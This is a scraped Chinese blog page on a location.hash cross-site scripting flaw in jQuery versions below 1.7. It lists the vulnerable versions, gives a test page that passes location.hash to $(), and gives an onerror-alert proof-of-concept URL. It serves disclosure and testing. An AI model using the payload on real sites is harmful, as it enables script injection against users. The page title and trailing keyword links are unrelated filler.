程序博客网 > 战略要素评价矩阵法

jquery下载地址：https://code.jquery.com/jquery/ 影响范围：版本低于1.7的jQuery过滤用户输入数据所使用的正则表达式存在缺陷，可能导致LOCA

来源：互联网发布：战略要素评价矩阵法编辑：程序博客网时间：2024/06/08 14:28

jquery下载地址：https://code.jquery.com/jquery/

影响范围：

版本低于1.7的jQuery过滤用户输入数据所使用的正则表达式存在缺陷，可能导致LOCATION.HASH跨站漏洞

已测试成功版本：

jquery-1.6.min.js，jquery-1.6.1.min.js，jquery-1.6.2.min.js

jquery-1.5所有版本

jquery-1.4所有版本

jquery-1.3所有版本

jquery-1.2所有版本

测试：

启动nginx，并建立index.html页面，内容如下：

漏洞发现者给的测试代码：

<html>

<head>

<title>JQuery-xss-test</title>

<script src="https://code.jquery.com/jquery-1.6.1.min.js"></script>

<script>

$(function(){

try { $(location.hash) } catch(e) {}

})

</script>

</head>

<body>

Jquery xss test.

</body>

</html>

访问地址：

http://localhost/#<img src=/ onerror=alert(/F4ckTeam/)>

测试截图：

技术分享

阅读全文

0 0

战略要素评价矩阵法

战略要素评价矩阵法

原创粉丝点击

热门问题 老师的惩罚人脸识别我在镇武司摸鱼那些年重生之率土为王我在大康的咸鱼生活盘龙之生命进化天生仙种凡人之先天五行春回大明朝姑娘不必设防，我是瞎子淘宝客服一直不说话怎么办淘宝客服不说话也不发货怎么办面对不说话的客人怎么办? 卖家客服不回复怎么办 2周小孩说话结巴怎么办微信群里只领红包不说话的人怎么办躺在微信不说话的客户怎么办 9岁儿童说话结巴怎么办 5岁儿童说话结巴怎么办京东客服不说话怎么办两岁宝宝说话有点结巴怎么办孩子不敢跟外人说话怎么办? 孩子不爱跟外人说话怎么办别人说我不说话怎么办衣服屁股那块变亮怎么办小孩家里说话外面不说话怎么办 2个月小宝宝便秘怎么办 3个月小宝宝便秘怎么办微信客户不说话怎么办一岁半宝宝便秘肛裂怎么办网恋现在都不说话了怎么办宝宝便秘四天了怎么办月子里小孩吐奶怎么办月子里的小孩吐奶怎么办婴儿吃多了吐奶怎么办 20个月孩子便秘怎么办一岁宝宝肛裂怎么办婴儿吃饱了吐奶怎么办 23天新生儿吐奶怎么办婴儿吐奶舌苔白怎么办宝宝吐奶酸臭味怎么办? 1周岁吐奶有酸味怎么办十多天的宝宝吐奶怎么办未满月婴儿吐奶怎么办 2个月宝宝溢奶怎么办四岁宝宝说话结巴怎么办小孩说话结巴打顿怎么办 2岁宝宝突然说话结巴怎么办 2岁宝宝突然结巴怎么办幼儿舌头起泡牙龈出血怎么办小孩长得太快怎么办